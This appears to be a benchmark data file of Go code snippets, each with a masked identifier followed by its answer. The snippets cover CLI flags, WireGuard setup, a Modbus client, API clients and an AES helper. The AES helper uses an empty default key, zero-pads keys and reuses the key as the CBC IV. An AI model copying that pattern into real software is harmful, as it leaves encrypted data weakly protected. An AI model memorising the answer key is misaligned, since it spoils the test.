Run: root, } func Execute() { err := rootCmd.Execute() if err != nil { os.Exit(1) } } func init() { // File. rootCmd.Flags().BoolP(""recursive"", ""r"", false, ""Scan files recursively"") rootCmd.Flags().Bool(""ignore-empty-file"", false, ""Do not count empty file"") rootCmd.Flags().Bool(""ignore-hidden-file"", false, ""Do not count hidden file"") // Format. rootCmd.Flags().BoolP(""json"", ""j"", false, ""Print in JSON format"") rootCmd.Flags().Bool(""no-trunc"", false, ""Do not truncate output"") // Help. rootCmd.Flags().BoolP(""version"", ""v"", false, ""Display version"") rootCmd.Flags().BoolP(""help"", ""h"", false, ""Display help"") _ = viper.BindPFlag(""file.recursive"", rootCmd.Flag(""recursive"")) _ = viper.BindPFlag(""file.ignore-empty-file"", rootCmd.Flag(""ignore-empty-file"")) _ = viper.BindPFlag(""file.ignore-hidden-file"", rootCmd.Flag(""ignore-hidden-file"")) _ = viper.BindPFlag(""format.json"", rootCmd.Flag(""json"")) _ = viper.BindPFlag(""format.no-trunc"", rootCmd.Flag(""no-trunc"")) // Version. rootCmd.SetVersionTemplate(`{{printf ""%s"" .Version}}{{""\n""}}`) } ",fileList 379,"package dfcx import ( ""bytes"" ""encoding/json"" ""fmt"" ""io"" ""net/http"" ""strings"" ) // Structs are fun () type WebhookRequest struct { DetectIntentResponseID string `json:""detectIntentResponseId,omitempty""` IntentInfo IntentInfo `json:""intentInfo,omitempty""` PageInfo PageInfo `json:""pageInfo,omitempty""` SessionInfo SessionInfo `json:""sessionInfo,omitempty""` FulfillmentInfo FulfillmentInfo `json:""fulfillmentInfo,omitempty""` Messages []Messages `json:""messages,omitempty""` Payload map[string]interface{} `json:""payload,omitempty""` Text string `json:""text,omitempty""` LanguageCode string `json:""languageCode,omitempty""` } func (wr *WebhookRequest) FromRequest(r *http.Request) error { err := json.NewDecoder(r.Body).Decode(wr) if err != nil { return err } return nil } func (wr *WebhookRequest) FromReader(r io.Reader) error { err := json.NewDecoder(r).Decode(wr) if err != nil { return err } return nil } func FromRequest(r *http.Request) (*WebhookRequest, error) { var wr WebhookRequest err := json.NewDecoder(r.Body).Decode(&wr) if err == nil || err == io.EOF { return &wr, nil } else { return nil, err } } func FromReader(r io.Reader) (*WebhookRequest, error) { var wr WebhookRequest err := json.NewDecoder(r).Decode(&wr) if err == nil || err == io.EOF { return &wr, nil } else { return nil, err } } // Added to make testing easier. type WebhookRequests []*WebhookRequest func (wrs *WebhookRequests) UnmarshalJSONReader(r io.Reader) error { err := json.NewDecoder(r).Decode(wrs) return err } // Returns Readers to supply as Request Bodies for testing purposes. func (wrs *WebhookRequests) UnmarshalJSONToReaders(r io.Reader) ([]io.Reader, error) { wrs.UnmarshalJSONReader(r) var [MASK] []io.Reader for _, wr := range *wrs { var b bytes.Buffer err := json.NewEncoder(&b).Encode(wr) if err != nil { return nil, err } [MASK] = append( [MASK] , &b) } return [MASK] , nil } type IntentInfo struct { LastMatchedIntent string `json:""lastMatchedIntent,omitempty""` DisplayName string `json:""displayName,omitempty""` Confidence float64 `json:""confidence,omitempty""` } type PageInfo struct { CurrentPage string `json:""currentPage,omitempty""` DisplayName string `json:""displayName,omitempty""` FormInfo FormInfo `json:""formInfo,omitempty""` } // FormInfo has been added 2022-03-15 type FormInfo struct { ParameterInfo []ParameterInfo `json:""parameterInfo,omitempty""` } type ParameterInfo struct { DisplayName string `json:""displayName,omitempty""` Required bool `json:""required,omitempty""` State string `json:""state,omitempty""` Value interface{} `json:""value,omitempty""` JustCollected bool `json:""justCollected,omitempty""` } // Updates here. type SessionInfo struct { Session string `json:""session,omitempty""` Parameters map[string]interface{} `json:""parameters,omitempty""` } func (si *SessionInfo) ExtractSession() (string, error) { // projects/PROJECT/locations/LOCATION/agents/AGENT/sessions/SESSION parts := strings.Split(si.Session, ""/"") if len(parts) < 8 { return """", fmt.Errorf(""the provided session string was too short: %d"", len(parts)) } return parts[7], nil } type FulfillmentInfo struct { Tag string `json:""tag,omitempty""` } type Messages struct { Text Text `json:""text,omitempty""` ResponseType string `json:""responseType,omitempty""` Source string `json:""source,omitempty""` } type Text struct { Text []string `json:""text,omitempty""` RedactedText []string `json:""redactedText,omitempty""` AllowPlaybackInterruption bool `json:""allowPlaybackInterruption,omitempty""` } ",readers 380,"package main //#include ""bridge.h"" import ""C"" import ( ""encoding/base64"" ""encoding/hex"" ""fmt"" ""golang.org/x/sys/unix"" ""os"" ""os/signal"" ""time"" ""unsafe"" ""wg/native/conn"" ""wg/native/device"" ""wg/native/erro"" ""wg/native/tun"" ) //export startTun func startTun(fd C.int, devicePrivateKey, listenPort, peerPublicKey, allowedIps, endpoint C.c_string, callback unsafe.Pointer, socketFd *int) C.c_string { var foreground bool var interfaceName string erro.Errinit(int(fd)) foreground = false //err := erro.TestFunc() //if err != nil { // return C.CString(err.Error()) //} if !foreground { foreground = os.Getenv(ENV_WG_PROCESS_FOREGROUND) == ""1"" } // get log level (default: info) logLevel := func() int { switch os.Getenv(""LOG_LEVEL"") { case ""verbose"", ""debug"": return device.LogLevelVerbose case ""error"": return device.LogLevelError case ""silent"": return device.LogLevelSilent } return device.LogLevelError }() // open TUN device (or use supplied fd) tdev, err := func() (tun.Device, error) { //tunFdStr := os.Getenv(ENV_WG_TUN_FD) //if tunFdStr == """" { return tun.WgCreateTun(int(fd), device.DefaultMTU) //} // construct tun device from supplied fd //fd, err := strconv.ParseUint(tunFdStr, 10, 32) //if err != nil { // return nil, err //} // //err = unix.SetNonblock(int(fd), true) //if err != nil { // return nil, err //} // //file := os.NewFile(uintptr(fd), """") //return tun.CreateTUNFromFile(file, device.DefaultMTU) }() if err == nil { realInterfaceName, err2 := tdev.Name() if err2 == nil { interfaceName = realInterfaceName } } //err = erro.TestFunc() //if err != nil { // return C.CString(err.Error()) //} logger := device.NewLogger( logLevel, fmt.Sprintf(""(%s) "", interfaceName), ) logger.Verbosef(""Starting wireguard-go version %s"", Version) if err != nil { logger.Errorf(""Failed to create TUN device: %v"", err) return C.CString(err.Error()) } // open UAPI file (or use supplied fd) //fileUAPI, err := func() (*os.File, error) { // uapiFdStr := os.Getenv(ENV_WG_UAPI_FD) // if uapiFdStr == """" { // return ipc.UAPIOpen(interfaceName) // } // // // use supplied fd // // fd, err := strconv.ParseUint(uapiFdStr, 10, 32) // if err != nil { // return nil, err // } // // return os.NewFile(uintptr(fd), """"), nil //}() //if err != nil { // logger.Errorf(""UAPI listen error: %v"", err) // os.Exit(ExitSetupFailed) // return -1 //} // daemonize the process //if !foreground { // env := os.Environ() // env = append(env, fmt.Sprintf(""%s=3"", ENV_WG_TUN_FD)) // env = append(env, fmt.Sprintf(""%s=4"", ENV_WG_UAPI_FD)) // env = append(env, fmt.Sprintf(""%s=1"", ENV_WG_PROCESS_FOREGROUND)) // files := [3]*os.File{} // if os.Getenv(""LOG_LEVEL"") != """" && logLevel != device.LogLevelSilent { // files[0], _ = os.Open(os.DevNull) // files[1] = os.Stdout // files[2] = os.Stderr // } else { // files[0], _ = os.Open(os.DevNull) // files[1], _ = os.Open(os.DevNull) // files[2], _ = os.Open(os.DevNull) // } // attr := &os.ProcAttr{ // Files: []*os.File{ // files[0], // stdin // files[1], // stdout // files[2], // stderr // tdev.File(), // fileUAPI, // }, // Dir: ""."", // Env: env, // } // // path, err := os.Executable() // if err != nil { // logger.Errorf(""Failed to determine executable: %v"", err) // os.Exit(ExitSetupFailed) // } // // process, err := os.StartProcess( // path, // os.Args, // attr, // ) // if err != nil { // logger.Errorf(""Failed to daemonize: %v"", err) // os.Exit(ExitSetupFailed) // } // process.Release() // return -1 //} markSocketfunc := func(fd int) { C.mark_socket(callback, C.int(fd)) //time.Sleep(100 * time.Millisecond) } device := device.NewDevice(tdev, conn.NewDefaultBind(markSocketfunc), logger) //err = erro.TestFunc() //if err != nil { // return C.CString(err.Error()) //} logger.Verbosef(""Device started"") errs := make(chan error) term := make(chan os.Signal, 1) //uapi, err := ipc.UAPIListen(interfaceName, fileUAPI) //if err != nil { // logger.Errorf(""Failed to listen on uapi socket: %v"", err) // os.Exit(ExitSetupFailed) //} //go func() { // for { // conn, err := uapi.Accept() // if err != nil { // errs <- err // return // } // go device.IpcHandle(conn) // } //}() dpk, err := base64.StdEncoding.DecodeString(C.GoString(devicePrivateKey)) if err != nil { return C.CString(err.Error()) } ppk, err := base64.StdEncoding.DecodeString(C.GoString(peerPublicKey)) if err != nil { return C.CString(err.Error()) } [MASK] := []string{ fmt.Sprintf(""private_key=%s"", hex.EncodeToString(dpk)), fmt.Sprintf(""listen_port=%s"", string(C.GoString(listenPort))), fmt.Sprintf(""public_key=%s"", hex.EncodeToString(ppk)), ""replace_allowed_ips=true"", fmt.Sprintf(""allowed_ip=%s"", string(C.GoString(allowedIps))), fmt.Sprintf(""endpoint=%s"", string(C.GoString(endpoint))), } err = device.IpcSetOperationByString( [MASK] ) if err != nil { return C.CString(err.Error()) } err = device.Up() if err != nil { return C.CString(err.Error()) } time.Sleep(time.Second) *socketFd = erro.Fd //logger.Verbosef(""UAPI listener started"") //err = erro.TestFunc() //if err != nil { // return C.CString(err.Error()) //} // wait for program to terminate signal.Notify(term, unix.SIGTERM) signal.Notify(term, os.Interrupt) select { case <-term: return C.CString(""term"") case err = <-errs: return C.CString(""error:"" + err.Error()) case <-device.Wait(): return C.CString(""closed"") case err = <-erro.Err: return C.CString(""error:"" + err.Error()) } // clean up //uapi.Close() device.Close() logger.Verbosef(""Shutting down"") return C.CString(""success"") } func markSocket(fd int, callback unsafe.Pointer) { C.mark_socket(callback, C.int(fd)) } ",lines 381,"package bcel import ( ""context"" ""errors"" ""fmt"" ""strconv"" ""github.com/google/cel-go/cel"" ""github.com/google/cel-go/common/types"" v2 ""github.com/conductorone/baton-sdk/pb/c1/connector/v2"" ""github.com/conductorone/baton-sql/pkg/bcel/functions"" ""github.com/conductorone/baton-sql/pkg/helpers"" ) type Env struct { celEnv *cel.Env } func NewEnv(ctx context.Context) (*Env, error) { var celOpts []cel.EnvOption // CEL variables celOpts = append(celOpts, cel.Variable(""cols"", cel.MapType(cel.StringType, cel.AnyType)), cel.Variable(""resource"", cel.MapType(types.StringType, types.StringType)), cel.Variable(""principal"", cel.MapType(types.StringType, types.StringType)), cel.Variable(""entitlement"", cel.MapType(types.StringType, types.StringType)), ) // CEL functions celOpts = append(celOpts, functions.GetAllOptions()...) celEnv, err := cel.NewEnv(celOpts...) if err != nil { return nil, err } return &Env{ celEnv: celEnv, }, nil } func (t *Env) Evaluate(ctx context.Context, expr string, inputs map[string]any) (any, error) { expr = preprocessExpressions(expr) ast, [MASK] := t.celEnv.Compile(expr) if [MASK] != nil && [MASK] .Err() != nil { return """", [MASK] .Err() } prg, err := t.celEnv.Program(ast) if err != nil { return """", err } // Make sure that our input always has the 'cols' member if _, ok := inputs[""cols""]; !ok { inputs[""cols""] = make(map[string]any) } out, _, err := prg.ContextEval(ctx, inputs) if err != nil { return """", err } return out.Value(), nil } func (t *Env) EvaluateString(ctx context.Context, expr string, inputs map[string]any) (string, error) { out, err := t.Evaluate(ctx, expr, inputs) if err != nil { return """", err } switch ret := out.(type) { case string: return ret, nil case int64, int32, int, uint64, uint32, uint: return fmt.Sprintf(""%d"", ret), nil default: return fmt.Sprintf(""%s"", ret), nil } } func (t *Env) EvaluateBool(ctx context.Context, expr string, inputs map[string]any) (bool, error) { out, err := t.Evaluate(ctx, expr, inputs) if err != nil { return false, err } switch ret := out.(type) { case bool: return ret, nil case int64, int32, int, uint64, uint32, uint: return ret != 0, nil case string: parsed, err := strconv.ParseBool(ret) if err != nil { return false, fmt.Errorf(""failed to parse bool from string %s: %w"", ret, err) } return parsed, nil default: return false, fmt.Errorf(""expected bool, got %T"", out) } } func (t *Env) SyncInputs(rowMap map[string]any) map[string]any { ret := make(map[string]any) if rowMap != nil { ret[""cols""] = rowMap } return ret } func (t *Env) SyncInputsWithResource(rowMap map[string]any, resource *v2.Resource) map[string]any { ret := t.SyncInputs(rowMap) if resource != nil { ret[""resource""] = map[string]string{ ""ID"": resource.Id.Resource, ""Type"": resource.Id.ResourceType, ""DisplayName"": resource.DisplayName, } } return ret } func (t *Env) ProvisioningInputs(principal *v2.Resource, entitlement *v2.Entitlement) (map[string]any, error) { if principal == nil { return nil, errors.New(""principal is required"") } if entitlement == nil { return nil, errors.New(""entitlement is required"") } ret := make(map[string]any) ret[""principal""] = map[string]string{ ""ID"": principal.Id.Resource, ""Type"": principal.Id.ResourceType, } resourceType, resourceID, entitlementID, err := helpers.SplitEntitlementID(entitlement) if err != nil { return nil, err } ret[""entitlement""] = map[string]string{ ""ID"": entitlementID, } ret[""resource""] = map[string]string{ ""ID"": resourceID, ""Type"": resourceType, } return ret, nil } func (t *Env) AccountProvisioningInputs(inputs map[string]any) (map[string]any, error) { ret := make(map[string]any) ret[""input""] = inputs return ret, nil } ",issues 382,"package main import ( ""bytes"" ""encoding/json"" ""fmt"" ""go-markdown-confluence/internal/confluence"" ""go-markdown-confluence/pkg/markdownconfluence"" ""net/http"" ""time"" ) // ConfluenceClient handles communication with the Confluence API type ConfluenceClient struct { baseURL string username string apiToken string httpClient *http.Client } // NewConfluenceClient creates a new Confluence API client func NewConfluenceClient(baseURL, username, apiToken string) *ConfluenceClient { return &ConfluenceClient{ baseURL: baseURL, username: username, apiToken: apiToken, httpClient: &http.Client{ Timeout: 30 * time.Second, }, } } // CreatePage creates a new page in Confluence func (c *ConfluenceClient) CreatePage(spaceKey, title, content string, parentID string) (string, error) { // Create page request payload page := confluence.NewPage(title, spaceKey, content, parentID) // Prepare the HTTP request reqBody, err := json.Marshal(page) if err != nil { return """", fmt.Errorf(""error marshaling request: %w"", err) } url := fmt.Sprintf(""%s/rest/api/content"", c.baseURL) req, err := http.NewRequest(""POST"", url, bytes.NewBuffer(reqBody)) if err != nil { return """", fmt.Errorf(""error creating request: %w"", err) } req.Header.Set(""Content-Type"", ""application/json"") req.SetBasicAuth(c.username, c.apiToken) // Send the HTTP request resp, err := c.httpClient.Do(req) if err != nil { return """", fmt.Errorf(""error making request: %w"", err) } defer resp.Body.Close() if resp.StatusCode < 200 || resp.StatusCode >= 300 { return """", fmt.Errorf(""received error status code: %d"", resp.StatusCode) } // Parse the response var response struct { ID string `json:""id""` } if err := json.NewDecoder(resp.Body).Decode(&response); err != nil { return """", fmt.Errorf(""error decoding response: %w"", err) } return response.ID, nil } // UpdatePage updates an existing page in Confluence func (c *ConfluenceClient) UpdatePage( [MASK] , title, content, spaceKey string, version int) error { // Create page update payload page := confluence.NewPageWithVersion(title, spaceKey, content, version) // Prepare the HTTP request reqBody, err := json.Marshal(page) if err != nil { return fmt.Errorf(""error marshaling request: %w"", err) } url := fmt.Sprintf(""%s/rest/api/content/%s"", c.baseURL, [MASK] ) req, err := http.NewRequest(""PUT"", url, bytes.NewBuffer(reqBody)) if err != nil { return fmt.Errorf(""error creating request: %w"", err) } req.Header.Set(""Content-Type"", ""application/json"") req.SetBasicAuth(c.username, c.apiToken) // Send the HTTP request resp, err := c.httpClient.Do(req) if err != nil { return fmt.Errorf(""error making request: %w"", err) } defer resp.Body.Close() if resp.StatusCode < 200 || resp.StatusCode >= 300 { return fmt.Errorf(""received error status code: %d"", resp.StatusCode) } return nil } // Ensure ConfluenceClient implements the markdownconfluence.ConfluenceClient interface var dummyClient markdownconfluence.ConfluenceClient = nil ",pageID 383,"package aes import ( stdaes ""crypto/aes"" ""crypto/cipher"" ""encoding/base64"" ""errors"" ) const DEFAULT_KEY = """" func Key(key ...string) []byte { str := DEFAULT_KEY if len(key) >= 1 { str = key[0] } keyLen := len(str) if keyLen < 16 { // padding this key for i := 0; i < 16-keyLen; i++ { str += ""0"" } keyLen = 16 } arr := []byte(str) if keyLen >= 32 { return arr[:32] } else if keyLen >= 24 { return arr[:24] } else { return arr[:16] } } func Encrypt(plantText, key []byte) (encrypted []byte, err error) { defer func() { if e := recover(); e != nil { err = e.(error) } }() block, err := stdaes.NewCipher(key) if err != nil { return nil, err } plantText = PKCS7Padding(plantText, block.BlockSize()) if len(plantText)%block.BlockSize() != 0 { return nil, errors.New(""Need a multiple of the blocksize"") } encrypted = make([]byte, len(plantText)) mode := cipher.NewCBCEncrypter(block, key[:stdaes.BlockSize]) mode.CryptBlocks(encrypted, plantText) return encrypted, nil } func EncryptToString(plantText, key string) (base64Text string, err error) { keyBytes := Key(key) ciphertext, err := Encrypt([]byte(plantText), keyBytes) if err != nil { return """", err } return base64.StdEncoding.EncodeToString(ciphertext), nil } func Decrypt(ciphertext, key []byte) ( [MASK] []byte, err error) { defer func() { if e := recover(); e != nil { err = e.(error) } }() block, err := stdaes.NewCipher([]byte(key)) if err != nil { return nil, err } [MASK] = make([]byte, len(ciphertext)) mode := cipher.NewCBCDecrypter(block, key[:stdaes.BlockSize]) mode.CryptBlocks( [MASK] , ciphertext) [MASK] = PKCS7UnPadding( [MASK] , block.BlockSize()) return [MASK] , nil } func DecryptToString(base64Text, key string) (plantText string, err error) { keyBytes := Key(key) ciphertext, err := base64.StdEncoding.DecodeString(base64Text) if err != nil { return """", err } ciphertext, err = Decrypt(ciphertext, keyBytes) if err != nil { return """", err } return string(ciphertext), nil } ",decrypted 384,"//go:build windows // +build windows /* Copyright 2022. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""context"" ""sync"" ""golang.org/x/sys/windows/svc"" ""k8s.io/klog/v2"" ) type handler struct { ctx context.Context wg sync.WaitGroup } func initService(ctx context.Context) error { h := &handler{ ctx: ctx, } var err error h.wg.Add(1) go func() { err = svc.Run(""windows-instance-config-daemon"", h) if err != nil { // Failure before Execute() is called h.wg.Done() } }() // Wait for h.Execute to be called through the service manager h.wg.Wait() return err } // Execute is a required function of the Handler interface, it will be called when there is a Windows service request func (h *handler) Execute(_ []string, r <-chan svc.ChangeRequest, s chan<- svc.Status) (bool, uint32) { // Set the status of the Windows service to start pending and allow initService() to return s <- svc.Status{State: svc.StartPending} h.wg.Done() // Set the service to running [MASK] := svc.AcceptStop | svc.AcceptShutdown s <- svc.Status{State: svc.Running, Accepts: [MASK] } klog.Info(""Running as a Windows service"") // Handle any incoming requests from the service manager ctx, cancel := context.WithCancel(h.ctx) // break will only end the current select, include this label to break to, in order to break from the loop + select loop: for { select { case <-ctx.Done(): s <- svc.Status{State: svc.StopPending} break loop case c := <-r: switch c.Cmd { case svc.Interrogate: // The Interrogate command is always accepted by default s <- c.CurrentStatus case svc.Stop, svc.Shutdown: klog.Info(""Service stopping"") s <- svc.Status{State: svc.StopPending} cancel() break loop } } } return false, 0 } ",cmdsAccepted 385,"package modbus import ( ""encoding/binary"" ""errors"" ""fmt"" ""io"" ""log"" ""net"" ""time"" ) // TCPDial establishes a connection for fail-fast behaviour. The unit-identifier // can be adjusted after TCPDial when needed. func TCPDial(addr string, timeout time.Duration) (*TCPClient, error) { c := &TCPClient{ RemoteAddr: addr, TxTimeout: timeout, // correct default UnitID: 0xff, } err := c.ensureConn() if err != nil { return nil, err } return c, nil } // TCPClient manages a connection for use from within a single goroutine. // Transactions are dealt with sequentially—only one request at a time. // // The client connects to .RemoteAddr on demand [lazy] whenever .Conn is nil. // Errors fatal to the connection cause an automated Close, which includes the // reset to nil. type TCPClient struct { // Buf is (re)used for both reading and writing. The function code // starts at the 8th byte, right after its 7-byte MBAP-header. // Keep first in struct for memory alignment. buf [7 + 253]byte // Specify the : to connect with. RemoteAddr string // Nil implies no connection. net.Conn // Limit the time for a request–response pair on connection level. // The zero value omits timeout protection. TxTimeout time.Duration // read-only transaction counter TxN uint64 // read-only packet-fragmentation counter (should be low if any) FragN uint64 // The unit identifier is supposed to be 0xFF with TCP. // Broadcast address 0x00 “is also accepted”. In practice, // quite a few devices out there only respond to 0x01. UnitID byte } // Close and zero the connection, if any. func (c *TCPClient) Close() error { if c.Conn == nil { return nil } err := c.Conn.Close() c.Conn = nil return err } // Fail the connection with a reset. func (c *TCPClient) fail(cause error) error { err := c.Close() if err != nil { return errors.Join(cause, err) } return cause } // EnsureConn creates a connection when not connected. func (c *TCPClient) ensureConn() error { if c.Conn != nil { return nil } d := net.Dialer{ Timeout: c.TxTimeout, KeepAlive: -1, // disabled } conn, err := d.Dial(""tcp"", c.RemoteAddr) if err != nil { return err } err = trimTCPConn(conn) if err != nil { return errors.Join(err, conn.Close()) } c.Conn = conn return nil } // TrimTCPConn utilizes the small footprint of Modbus frames. func trimTCPConn(conn net.Conn) error { t, ok := conn.(*net.TCPConn) if !ok { return fmt.Errorf(""TCP dial got connection type %T"", conn) } err := t.SetReadBuffer(512) if err != nil { return err } return t.SetWriteBuffer(512) } // ReadInputReg fetches an input register at the given address. func (c *TCPClient) ReadInputReg(addr uint16) (uint16, error) { return c.readReg(addr, readInputRegs) } // ReadHoldReg fetches a holding register at the given address. func (c *TCPClient) ReadHoldReg(addr uint16) (uint16, error) { return c.readReg(addr, readHoldRegs) } func (c *TCPClient) readReg(addr uint16, funcCode byte) (uint16, error) { err := c.readNRegs(1, addr, funcCode) if err != nil { return 0, err } return binary.BigEndian.Uint16(c.buf[9:11]), nil } func (c *TCPClient) readNRegs(n int, startAddr uint16, funcCode byte) error { // compose request binary.BigEndian.PutUint32(c.buf[8:12], uint32(startAddr)<<16|uint32(n)) readN, err := c.sendAndReceive(c.buf[:12], funcCode) if err != nil { return err } if int(uint(c.buf[8])) != n*2 { return fmt.Errorf(""Modbus repsonse with %d-byte payload for a %d-register request"", c.buf[1], n) } if readN != 9+n*2 { return errFrameFit } return nil } // SendAndReceive writes the frame header plus function code in c.buf[:8] before // submission. The req slice must include c.buf[:8] as such. The read count also // includes the frame header. func (c *TCPClient) sendAndReceive(req []byte, funcCode byte) (readN int, err error) { err = c.ensureConn() if err != nil { return 0, err } c.TxN++ if c.TxTimeout != 0 { err := c.Conn.SetDeadline(time.Now().Add(c.TxTimeout)) if err != nil { err = fmt.Errorf(""timeout on Modbus connection needed: %w"", err) return 0, c.fail(err) } defer func() { err := c.Conn.SetDeadline(time.Time{}) if err != nil { // probably never log.Println(""timeout on Modbus connection got stuck:"", err) } }() } // See “MBAP Header description” from chapter 3.1.3 of “MODBUS Messaging // on TCP/IP Implementation Guide V1.0b” for the specification. var reqHead uint64 // 2-byte transaction identifier taken from LSB of counter: reqHead |= c.TxN << 48 // 2-byte protocol identifier remains zero for Modbus // … // 2-byte size of what follows: reqHead |= uint64(uint64(len(req))-6) << 16 // 1-byte unit identifier: reqHead |= uint64(c.UnitID) << 8 // 1-byte function code: reqHead |= uint64(funcCode) binary.BigEndian.PutUint64(c.buf[:8], reqHead) _, err = c.Write(req) if err != nil { err = fmt.Errorf(""Modbus request submission: %w"", err) return 0, c.fail(err) } readN, err = io.ReadAtLeast(c.Conn, c.buf[:], 9) if err != nil { err = fmt.Errorf(""Modbus response unavailable: %w"", err) return readN, c.fail(err) } [MASK] := binary.BigEndian.Uint64(c.buf[:8]) // The transaction, protocol and unit identifier all must equal the // request's. The function code in return may include an error flag. const sizeMask = 0xffff << 16 switch [MASK] &^ sizeMask { case reqHead &^ sizeMask: break // regular response case (reqHead &^ sizeMask) | errorFlag: if readN != 9 { return readN, c.fail(errFrameFit) } return readN, Exception(c.buf[8]) default: err = fmt.Errorf(""Modbus response frame %#016x… does not match request frame %#016x…"", [MASK] , reqHead) return readN, c.fail(err) } remainLen := ( [MASK] >> 16) & 0xffff end := int(remainLen + 6) switch { case end == readN: break // happy flow case end < readN: err = errors.New(""Modbus response reception exceeds frame length"") return readN, c.fail(err) case end > len(c.buf): err = errors.New(""Modbus frame size exceeds reponse [PDU] limit"") return readN, c.fail(err) default: // packet fragmentation should be a rare occurrence c.FragN++ _, err = io.ReadFull(c.Conn, c.buf[readN:end]) if err != nil { if errors.Is(err, io.EOF) { err = io.ErrUnexpectedEOF } err = fmt.Errorf(""Modbus response frame incomplete: %w"", err) return readN, c.fail(err) } readN = end } return readN, nil } // ReadInputRegs fetches consecutive input-registers at a start address into a // read buffer. The return is ErrLimit when buf is larger than 125 entries. func (c *TCPClient) ReadInputRegs(buf []uint16, startAddr uint16) error { return c.readRegs(buf, startAddr, readInputRegs) } // ReadHoldRegs fetches consecutive holding-registers at a start address into a // read buffer. The return is ErrLimit when buf is larger than 125 entries. func (c *TCPClient) ReadHoldRegs(buf []uint16, startAddr uint16) error { return c.readRegs(buf, startAddr, readHoldRegs) } func (c *TCPClient) readRegs(buf []uint16, startAddr uint16, funcCode byte) error { if len(buf) == 0 { return nil // allowed } if len(buf) > 125 { return ErrLimit } err := c.readNRegs(len(buf), startAddr, funcCode) if err != nil { return err } // map read buffer into register buffer for i := range buf { buf[i] = binary.BigEndian.Uint16(c.buf[9+i*2 : 11+i*2]) } return nil } // ReadNInputRegSlice fetches n consecutive input-registers at a start address. // The slice in return has 2 bytes in big-endian order per register. Bytes stop // being valid at the next invocation to the TCPClient. The return is ErrLimit // when n is over 125. func (c *TCPClient) ReadNInputRegSlice(n int, startAddr uint16) ([]byte, error) { return c.readNRegSlice(n, startAddr, readInputRegs) } // ReadNHoldRegSlice fetches n consecutive holding-registers at a start address. // The slice in return has 2 bytes in big-endian order per register. Bytes stop // being valid at the next invocation to the TCPClient. The return is ErrLimit // when n is over 125. func (c *TCPClient) ReadNHoldRegSlice(n int, startAddr uint16) ([]byte, error) { return c.readNRegSlice(n, startAddr, readHoldRegs) } func (c *TCPClient) readNRegSlice(n int, startAddr uint16, funcCode byte) ([]byte, error) { if n < 1 { return nil, nil // allowed } if n > 125 { return nil, ErrLimit } err := c.readNRegs(n, startAddr, funcCode) if err != nil { return nil, err } return c.buf[9 : 9+(n*2)], nil } // WriteReg updates a single register. func (c *TCPClient) WriteReg(addr, value uint16) error { order := uint32(addr)<<16 | uint32(value) binary.BigEndian.PutUint32(c.buf[8:12], order) readN, err := c.sendAndReceive(c.buf[:12], writeReg) if err != nil { return err } if readN != 12 { return errFrameFit } did := binary.BigEndian.Uint32(c.buf[8:12]) if did != order { if did>>16 != order>>16 { return errAddrMatch } return errValueMatch } return nil } // WriteRegs updates consecutive registers at a start address. // The return is ErrLimit when more than 123 values are given. func (c *TCPClient) WriteRegs(startAddr uint16, values ...uint16) error { if len(values) == 0 { return nil // allow } if len(values) > 123 { return ErrLimit } order := uint32(startAddr)<<16 | uint32(len(values)) binary.BigEndian.PutUint32(c.buf[8:12], order) c.buf[12] = byte(len(values) * 2) for i := range values { binary.BigEndian.PutUint16(c.buf[13+(2*i):15+(2*i)], values[i]) } readN, err := c.sendAndReceive(c.buf[:13+(2*len(values))], writeRegs) if err != nil { return err } if readN != 12 { return errFrameFit } did := binary.BigEndian.Uint32(c.buf[8:12]) if did != order { if did>>16 != order>>16 { return errAddrMatch } return errWriteNMatch } return nil } ",resHead 386,"// Package esa provides a client library for esa API v1 package esa import ( ""bytes"" ""context"" ""encoding/json"" ""errors"" ""fmt"" ""io"" ""io/ioutil"" ""net/http"" ""net/url"" ""strconv"" ""strings"" ""sync"" ""time"" ) const ( baseURL = ""https://api.esa.io/"" apiVersion = ""v1"" // RateLimit Headers // ref. https://docs.esa.io/posts/102#2-3-0 headerRateLimit = ""X-RateLimit-Limit"" headerRateRemaining = ""X-RateLimit-Remaining"" headerRateReset = ""X-RateLimit-Reset"" ) // A Client manages communication with the esa API v1. type Client struct { client *http.Client BaseURL *url.URL rateMu sync.Mutex rateLimit Rate // Rate limit for the client as determined by the most recent API calls. common service // Reuse a single struct instead of allocating one for each service on the heap. // Services used for talking to different parts of the esa API. Teams *TeamsService Invitations *InvitationsService err error } // Response is a esa API response. This wraps the standard http.Response. type Response struct { *http.Response Rate } // newResponse creates a new Response for the provided http.Response. // r must not be nil. func newResponse(r *http.Response) *Response { response := &Response{Response: r} response.Rate = parseRate(r) return response } // parseRate parses the rate related headers. func parseRate(r *http.Response) Rate { var ( rate Rate err error ) if limit := r.Header.Get(headerRateLimit); limit != """" { rate.Limit, err = strconv.Atoi(limit) if err != nil { rate.err = err } } if remaining := r.Header.Get(headerRateRemaining); remaining != """" { rate.Remaining, err = strconv.Atoi(remaining) if err != nil { rate.err = err } } if reset := r.Header.Get(headerRateReset); reset != """" { v, e := strconv.ParseInt(reset, 10, 64) if e != nil { rate.err = e } else if v != 0 { rate.Reset = Timestamp{time.Unix(v, 0)} } } return rate } // Rate represents the rate limit for the current client. type Rate struct { // The number of requests per hour the client is currently limited to. Limit int `json:""limit""` // The number of remaining requests the client can make this hour. Remaining int `json:""remaining""` // The time at which the current rate limit will reset. Reset Timestamp `json:""reset""` err error } func (r Rate) String() string { return Stringify(r) } type service struct { client *Client } // NewClient returns a new esa API client. If a nil httpClient is // provided, http.DefaultClient will be used. To use API methods which require // authentication, provide an http.Client that will perform the authentication // for you (such as that provided by the golang.org/x/oauth2 library). func NewClient(httpClient *http.Client) *Client { if httpClient == nil { httpClient = http.DefaultClient } baseURL, err := url.Parse(baseURL) c := &Client{client: httpClient, BaseURL: baseURL, err: err} c.common.client = c c.Teams = (*TeamsService)(&c.common) c.Invitations = (*InvitationsService)(&c.common) return c } // NewRequest creates an API request. A relative URL can be provided in urlStr, // in which case it is resolved relative to the BaseURL of the Client. // Relative URLs should always be specified without a preceding slash. If // specified, the value pointed to by body is JSON encoded and included as the // request body. func (c *Client) NewRequest(method, urlStr string, body interface{}) (*http.Request, error) { var s string if strings.HasPrefix(urlStr, ""/"") { s = fmt.Sprintf(""/%s%s"", apiVersion, urlStr) } else { s = fmt.Sprintf(""/%s/%s"", apiVersion, urlStr) 